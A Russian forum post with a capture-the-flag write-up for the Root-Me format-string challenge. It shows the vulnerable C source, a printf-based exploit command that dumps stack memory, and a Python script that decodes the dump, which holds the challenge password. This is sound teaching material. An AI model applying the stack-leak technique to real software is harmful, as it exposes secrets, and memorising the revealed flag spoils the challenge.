• Открыта запись на вторую часть курса по анонимности и безопасности в сети интернет "Paranoid II" от команды codeby. Анонимные роутеры, Подъём, настройка и администрирование Tor-ноды, Работа с железом ПК, Удаление аппаратных закладок, Минимизация рисков, Авторские разработки и многое другое. Подробнее ...

  • Напоминаем, что 1 декабря стартует курс "Тестирование Веб-Приложений на проникновение с нуля" от команды codeby. Общая теория, подготовка рабочего окружения, пассивный фаззинг и фингерпринт, активный фаззинг, уязвимости, пост-эксплуатация, инструментальные средства, Social Engeneering и многое другое. Подробнее ...

CTF Root-Me, App-System, ELF x86 - Format string bug basic 1

fuzzz

fuzzz

Grey Team
03.02.2019
150
249
ELF x86 - Format string bug basic 1

Environment configuration :

PIEPosition Independent Executable
Root-Me, App-System, ELF x86 - Format string bug basic 1
RelRORead Only relocations
Root-Me, App-System, ELF x86 - Format string bug basic 1
NXNon-Executable Stack
Root-Me, App-System, ELF x86 - Format string bug basic 1
Heap execNon-Executable Heap
Root-Me, App-System, ELF x86 - Format string bug basic 1
ASLRAddress Space Layout Randomization
Root-Me, App-System, ELF x86 - Format string bug basic 1
SFSource Fortification
Root-Me, App-System, ELF x86 - Format string bug basic 1
SRCSource code access
Root-Me, App-System, ELF x86 - Format string bug basic 1

Source code :
C:
#include <stdio.h>
#include <unistd.h>

int main(int argc, char *argv[]){
        FILE *secret = fopen("/challenge/app-systeme/ch5/.passwd", "rt");
        char buffer[32];
        fgets(buffer, sizeof(buffer), secret);
        printf(argv[1]);
        fclose(secret);
        return 0;
}
Решение
Этот бинарь без харденинг защит, поэтому тут все просто. Уязвимость тут находится в printf(argv[1]); Так как не были указаны форматы вывода. Эта уязвимость форматной строки. Поэтому у нас есть примитивы как чтения из стека так и запись в память. Тут нам нужен примитив чтения, потому, как флаг находится в файле .passwd.

И мы сможем прочитать от туда данные используя спецификатор формата %x

Суть эксплуатации этой уязвимости заключаться в том, чтобы считать значения со стека. В стеке находится буфер, а в буфере содержимое файла .passwd


Выведем 128 байт из стека 32 * 4 = 128
Код:
./ch5 $(python -c 'print "%08x."*32')
%08х число после знака процента нужно чтобы отображать по 4 байта

Код:
FF|FF|FF|FF
Root-Me, App-System, ELF x86 - Format string bug basic 1


Скопируем полученные байты в блокнот.
Данный нам ELF бинарник 32 битный. Архитектура x86
Поэтому все полученные байты выданные нам из стека находятся в перевернутом виде - Little Endian.

Например
Код:
Если -> 00000020 тогда -> 20|00|00|00
Или вот еще пример
28293664 -> 64|36|29|28
Поэтому чтобы в ручную не переписывать каждую цепочку байтов. Воспользуемся питоном для автоматизации, перевернем все байты, а за одно и декодируем их...

decode_bytes.py
Python:
bytes = [ "00000020", "0804b160", "0804853d", "00000009",
          "bffffcce", "b7e1c4a9", "bffffba4", "b7fc4000",
          "b7fc4000", "0804b160", "39617044", "28293664",
          "6d617045", "bf000a64", "0804861b", "00000002",
          "bffffba4", "bffffbb0", "119eaa00", "bffffb10",
          "00000000", "00000000", "b7e04e81", "b7fc4000",
          "b7fc4000", "00000000", "b7e04e81", "00000002",
          "bffffba4", "bffffbb0", "bffffb34", "00000001" ]

bytes2 = []

for y in bytes:
    little_endian = y[6:] + y[4:-2] + y[2:-4] + y[0:-6]
    bytes2.append(little_endian)
   

for x in bytes2:
    print x.decode('hex'),
Root-Me, App-System, ELF x86 - Format string bug basic 1



После запуска на выходе мы получим такие данные и флаг ;)
 
Мы в соцсетях:  ТелеграмВконтактеДзенФейсбукТвиттерЮтуб